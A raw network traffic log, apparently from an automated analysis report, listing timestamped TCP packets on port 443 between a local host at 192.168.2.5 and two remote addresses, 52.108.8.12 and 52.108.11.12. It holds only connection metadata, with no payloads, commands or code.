Jul 16, 2024 13:06:58.778023005 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.779725075 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.779795885 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:58.779803991 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.827610016 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:58.866822004 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.866832018 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.866900921 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:58.866920948 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.867391109 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.867449999 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:58.867459059 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.868237972 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.868294001 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:58.868300915 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.868391991 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.868439913 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:58.868448019 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.869235992 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.869302034 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:58.869311094 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.870131016 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.870187044 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:58.870194912 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.870973110 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.871032000 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:58.871037960 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.898484945 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.898560047 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:58.898591995 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.951929092 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:58.957596064 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.957603931 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.957627058 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.957698107 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:58.957915068 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.957922935 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.957947016 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.957978964 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:58.957999945 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:58.958292007 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.958300114 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.958357096 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:58.958368063 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.958673000 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.958703041 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.958730936 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:58.958738089 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.958755970 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:58.959078074 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.959136963 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:58.959142923 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.959285975 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.959345102 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:58.959350109 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.959978104 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.960047007 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:58.960052967 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.960124016 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.960166931 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:58.960171938 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.960199118 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.960206032 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:58.960242033 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:58.960416079 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:58.960429907 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.963598967 CEST	49764	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:58.963644981 CEST	443	49764	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.963783026 CEST	49764	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:58.964589119 CEST	49764	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:58.964607000 CEST	443	49764	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.969882965 CEST	49765	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:58.969914913 CEST	443	49765	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:58.970074892 CEST	49765	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:58.970405102 CEST	49765	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:58.970417976 CEST	443	49765	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:59.022027969 CEST	443	49758	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:59.022382975 CEST	49758	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:59.022396088 CEST	443	49758	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:59.022891045 CEST	443	49758	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:59.023509026 CEST	49758	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:59.023592949 CEST	443	49758	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:59.023688078 CEST	49758	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:59.068497896 CEST	443	49758	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:59.077565908 CEST	49758	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:59.413279057 CEST	443	49758	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:59.413290024 CEST	443	49758	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:59.413311005 CEST	443	49758	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:59.413345098 CEST	49758	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:59.413360119 CEST	443	49758	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:59.413374901 CEST	49758	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:59.413489103 CEST	443	49758	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:59.413593054 CEST	49758	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:59.414499044 CEST	49758	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:59.414515972 CEST	443	49758	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:59.414525986 CEST	49758	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:59.414561033 CEST	49758	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:59.526918888 CEST	443	49764	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:59.527245998 CEST	49764	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:59.527256966 CEST	443	49764	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:59.528542042 CEST	443	49764	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:59.529953003 CEST	49764	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:59.530131102 CEST	443	49764	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:59.530441046 CEST	49764	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:59.530493021 CEST	443	49764	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:59.579055071 CEST	443	49765	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:59.583714962 CEST	49765	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:59.583731890 CEST	443	49765	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:59.585069895 CEST	443	49765	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:59.585645914 CEST	49765	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:59.585827112 CEST	443	49765	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:59.587333918 CEST	49765	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:59.628525972 CEST	443	49765	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:59.694284916 CEST	443	49764	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:59.695257902 CEST	443	49764	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:59.700186014 CEST	49764	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:59.703520060 CEST	49764	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:59.703537941 CEST	443	49764	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:59.706988096 CEST	49769	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:59.707011938 CEST	443	49769	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:59.707073927 CEST	49769	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:59.707735062 CEST	49769	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:59.707746029 CEST	443	49769	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:59.710057020 CEST	49770	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:59.710088968 CEST	443	49770	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:59.710151911 CEST	49770	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:59.710396051 CEST	49770	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:59.710407019 CEST	443	49770	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:59.981823921 CEST	443	49765	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:59.982228994 CEST	443	49765	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:59.982307911 CEST	49765	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:59.984956026 CEST	49765	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:59.984972000 CEST	443	49765	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:00.284331083 CEST	443	49769	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:00.284720898 CEST	49769	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:00.284786940 CEST	443	49769	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:00.285336971 CEST	443	49769	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:00.285746098 CEST	49769	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:00.285840988 CEST	443	49769	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:00.285967112 CEST	49769	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:00.286010027 CEST	443	49769	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:00.291940928 CEST	443	49770	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:00.292180061 CEST	49770	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:00.292212009 CEST	443	49770	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:00.292761087 CEST	443	49770	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:00.293077946 CEST	49770	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:00.293159962 CEST	443	49770	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:00.293210983 CEST	49770	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:00.336519957 CEST	443	49770	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:00.452224016 CEST	443	49769	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:00.452317953 CEST	443	49769	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:00.452373028 CEST	49769	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:00.452373028 CEST	49769	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:00.453010082 CEST	49769	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:00.453026056 CEST	443	49769	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:00.679596901 CEST	443	49770	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:00.679629087 CEST	443	49770	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:00.679661036 CEST	49770	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:00.679680109 CEST	443	49770	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:00.679692030 CEST	49770	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:00.679753065 CEST	443	49770	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:00.679796934 CEST	49770	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:00.680701971 CEST	49770	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:00.680721045 CEST	443	49770	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:00.681637049 CEST	49774	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:00.681677103 CEST	443	49774	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:00.681751966 CEST	49774	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:00.682651043 CEST	49774	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:00.682666063 CEST	443	49774	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:01.250747919 CEST	443	49774	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:01.250999928 CEST	49774	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:01.251017094 CEST	443	49774	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:01.251635075 CEST	443	49774	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:01.251986027 CEST	49774	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:01.252063036 CEST	443	49774	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:01.252146006 CEST	49774	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:01.295872927 CEST	49774	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:01.295886993 CEST	443	49774	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:01.421107054 CEST	443	49774	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:01.421156883 CEST	443	49774	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:01.421180010 CEST	49774	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:01.421192884 CEST	443	49774	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:01.421205997 CEST	49774	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:01.421452045 CEST	443	49774	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:01.421807051 CEST	49774	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:01.635477066 CEST	49774	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:01.635499001 CEST	443	49774	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:03.339327097 CEST	49780	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:03.339363098 CEST	443	49780	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:03.339531898 CEST	49780	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:03.339899063 CEST	49780	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:03.339921951 CEST	443	49780	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:03.442254066 CEST	49784	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:03.442285061 CEST	443	49784	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:03.442357063 CEST	49784	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:03.442842007 CEST	49784	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:03.442859888 CEST	443	49784	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:03.772154093 CEST	49789	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:03.772171021 CEST	443	49789	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:03.772262096 CEST	49789	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:03.772547960 CEST	49789	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:03.772563934 CEST	443	49789	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:03.808187962 CEST	49790	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:03.808197021 CEST	443	49790	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:03.808274031 CEST	49790	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:03.825139999 CEST	49790	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:03.825155020 CEST	443	49790	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:03.827374935 CEST	49791	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:03.827425003 CEST	443	49791	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:03.827522993 CEST	49791	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:03.828098059 CEST	49791	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:03.828110933 CEST	443	49791	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:03.846329927 CEST	49792	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:03.846375942 CEST	443	49792	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:03.846528053 CEST	49792	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:03.847332001 CEST	49792	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:03.847346067 CEST	443	49792	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:03.848378897 CEST	49793	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:03.848412991 CEST	443	49793	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:03.848464966 CEST	49793	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:03.849575996 CEST	49793	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:03.849590063 CEST	443	49793	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:03.905910015 CEST	443	49780	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:03.906234026 CEST	49780	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:03.906248093 CEST	443	49780	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:03.906620979 CEST	443	49780	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:03.906958103 CEST	49780	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:03.907022953 CEST	443	49780	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:03.907244921 CEST	49780	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:03.907277107 CEST	443	49780	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:03.998249054 CEST	443	49784	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:03.999185085 CEST	49784	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:03.999195099 CEST	443	49784	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:03.999723911 CEST	443	49784	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.001967907 CEST	49784	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.002059937 CEST	443	49784	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.002396107 CEST	49784	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.002610922 CEST	443	49784	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.069655895 CEST	443	49780	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.069724083 CEST	49780	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.069734097 CEST	443	49780	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.069771051 CEST	443	49780	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.069853067 CEST	49780	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.071108103 CEST	49780	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.071118116 CEST	443	49780	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.074347973 CEST	49798	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.074412107 CEST	443	49798	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.074502945 CEST	49798	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.074924946 CEST	49798	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.074939966 CEST	443	49798	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.078768015 CEST	49799	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:04.078810930 CEST	443	49799	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:04.079035997 CEST	49799	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:04.079351902 CEST	49799	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:04.079375029 CEST	443	49799	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:04.178128004 CEST	443	49784	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.178270102 CEST	443	49784	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.178327084 CEST	49784	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.178931952 CEST	49784	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.178944111 CEST	443	49784	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.184403896 CEST	49800	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:04.184457064 CEST	443	49800	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:04.184545040 CEST	49800	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:04.187716961 CEST	49800	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:04.187756062 CEST	443	49800	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:04.190082073 CEST	49801	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.190114975 CEST	443	49801	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.190287113 CEST	49801	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.190499067 CEST	49801	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.190511942 CEST	443	49801	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.328228951 CEST	443	49789	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.328478098 CEST	49789	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.328491926 CEST	443	49789	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.329605103 CEST	443	49789	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.329659939 CEST	49789	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.329668999 CEST	443	49789	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.329988003 CEST	49789	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.330172062 CEST	49789	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.330244064 CEST	443	49789	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.330431938 CEST	49789	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.330447912 CEST	443	49789	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.372339964 CEST	49789	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.413299084 CEST	443	49792	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.413585901 CEST	49792	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.413604975 CEST	443	49792	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.414437056 CEST	443	49790	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.414642096 CEST	49790	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.414650917 CEST	443	49790	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.415049076 CEST	443	49792	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.415113926 CEST	49792	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.415123940 CEST	443	49792	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.415174961 CEST	49792	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.415644884 CEST	49792	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.415644884 CEST	49792	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.415664911 CEST	49792	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.415678978 CEST	443	49792	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.415766001 CEST	443	49792	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.416762114 CEST	443	49793	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.416964054 CEST	49793	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.416974068 CEST	443	49793	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.418168068 CEST	443	49793	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.418304920 CEST	443	49790	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.418392897 CEST	49790	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.418401957 CEST	443	49790	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.418442965 CEST	49790	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.418580055 CEST	49793	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.418760061 CEST	443	49793	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.418961048 CEST	49790	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.419047117 CEST	443	49790	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.419131994 CEST	49793	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.419220924 CEST	49790	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.419238091 CEST	443	49790	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.419265985 CEST	49790	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.419296980 CEST	49790	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.419297934 CEST	443	49790	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.419322014 CEST	443	49790	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.419367075 CEST	49790	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.419399977 CEST	443	49790	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.423783064 CEST	443	49791	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.424040079 CEST	49791	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.424060106 CEST	443	49791	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.425235033 CEST	443	49791	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.425575972 CEST	49791	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.425710917 CEST	49791	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.425718069 CEST	443	49791	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.425745964 CEST	443	49791	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.425751925 CEST	49791	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.425844908 CEST	443	49791	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.464493990 CEST	443	49793	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.468137980 CEST	49792	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.468151093 CEST	443	49792	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.468153954 CEST	49791	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.497951984 CEST	443	49789	52.108.8.12	192.168.2.5
